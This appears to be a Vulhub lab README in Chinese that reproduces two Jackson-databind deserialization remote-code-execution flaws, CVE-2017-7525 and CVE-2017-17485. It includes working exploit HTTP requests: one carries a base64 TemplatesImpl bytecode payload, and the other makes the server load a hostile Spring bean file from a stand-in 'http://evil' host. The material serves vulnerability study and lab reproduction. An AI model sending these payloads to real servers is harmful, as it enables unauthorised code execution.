Aaron
63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
120 lines
5.5 KiB
Markdown
120 lines
5.5 KiB
Markdown
# Jackson-databind 反序列化漏洞（CVE-2017-7525）
|
||
|
||
Jackson-databind 支持 [Polymorphic Deserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization) 特性（默认情况下不开启），当 json 字符串转换的 Target class 中有 polymorph fields，即字段类型为接口、抽象类或 Object 类型时，攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类)，来实现实例化指定的类，借助某些特殊的 class，如 `TemplatesImpl`，可以实现任意代码执行。
|
||
|
||
所以，本漏洞利用条件如下：
|
||
|
||
- 开启 JacksonPolymorphicDeserialization，即调用以下任意方法
|
||
|
||
```java
|
||
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
|
||
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
|
||
```
|
||
|
||
- Target class 需要有无参 constructor
|
||
- Target class 中需要需要有字段类型为 Interface、abstract class、Object，并且使用的 Gadget 需要为其子类 / 实现接口
|
||
|
||
参考链接：
|
||
|
||
- [JacksonPolymorphicDeserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
|
||
- [Exploiting the Jackson RCE: CVE-2017-7525](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)
|
||
- [jackson-rce-via-spel](https://github.com/irsl/jackson-rce-via-spel)
|
||
- [Jackson Deserializer security vulnerability](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1)
|
||
|
||
## 漏洞环境
|
||
|
||
```shell
|
||
docker compose up -d
|
||
```
|
||
|
||
环境启动后，Web运行在`http://your-ip:8080/`。
|
||
|
||
## 漏洞复现
|
||
|
||
### CVE-2017-7525
|
||
|
||
`Jackson-databind` 在设置 Target class 成员变量参数值时，若没有对应的 getter 方法，则会使用 `SetterlessProperty` 调用 getter 方法，获取变量，然后设置变量值。当调用 `getOutputProperties()` 方法时，会初始化 `transletBytecodes` 包含字节码的类，导致命令执行，具体可参考 [java-deserialization-jdk7u21-gadget-note](https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/) 中关于 `TemplatesImpl` 的说明。
|
||
|
||
使用JDK7u21的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`作为Gadget，发送如下请求，将会执行`touch /tmp/prove1.txt`：
|
||
|
||
```
|
||
POST /exploit HTTP/1.1
|
||
Host: your-ip:8080
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||
Connection: close
|
||
Content-Type: application/json
|
||
Content-Length: 1298
|
||
|
||
{
|
||
"param": [
|
||
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
|
||
{
|
||
"transletBytecodes": [
|
||
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
|
||
],
|
||
"transletName": "a.b",
|
||
"outputProperties": {}
|
||
}
|
||
]
|
||
}
|
||
```
|
||
|
||
|
||
|
||
这个POC只能运行在目标为JDK7u21以下的环境中，其他情况请更换Gadget。
|
||
|
||
### CVE-2017-17485
|
||
|
||
CVE-2017-7525 [黑名单修复](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1) 绕过，利用了 `org.springframework.context.support.FileSystemXmlApplicationContext`。
|
||
|
||
利用该漏洞，我们需要创建一个bean文件，放置在任意服务器上，如`http://evil/spel.xml`，内容如下：
|
||
|
||
```xml
|
||
<beans xmlns="http://www.springframework.org/schema/beans"
|
||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||
xsi:schemaLocation="
|
||
http://www.springframework.org/schema/beans
|
||
http://www.springframework.org/schema/beans/spring-beans.xsd
|
||
">
|
||
<bean id="pb" class="java.lang.ProcessBuilder">
|
||
<constructor-arg>
|
||
<array>
|
||
<value>touch</value>
|
||
<value>/tmp/prove2.txt</value>
|
||
</array>
|
||
</constructor-arg>
|
||
<property name="any" value="#{ pb.start() }"/>
|
||
</bean>
|
||
</beans>
|
||
```
|
||
|
||
然后，发送如下数据包，使Jackson加载bean，触发漏洞：
|
||
|
||
```
|
||
POST /exploit HTTP/1.1
|
||
Host: your-ip:8080
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||
Connection: close
|
||
Content-Type: application/json
|
||
Content-Length: 138
|
||
|
||
{
|
||
"param": [
|
||
"org.springframework.context.support.FileSystemXmlApplicationContext",
|
||
"http://evil/spel.xml"
|
||
]
|
||
}
|
||
```
|
||
|
||
成功执行`touch /tmp/prove2.txt`：
|
||
|
||
|
||
|
||
**原理：** 利用 `FileSystemXmlApplicationContext` 加载远程 bean 定义文件，创建 ProcessBuilder bean，并在 xml 文件中使用 Spring EL 来调用 `start()` 方法实现命令执行
|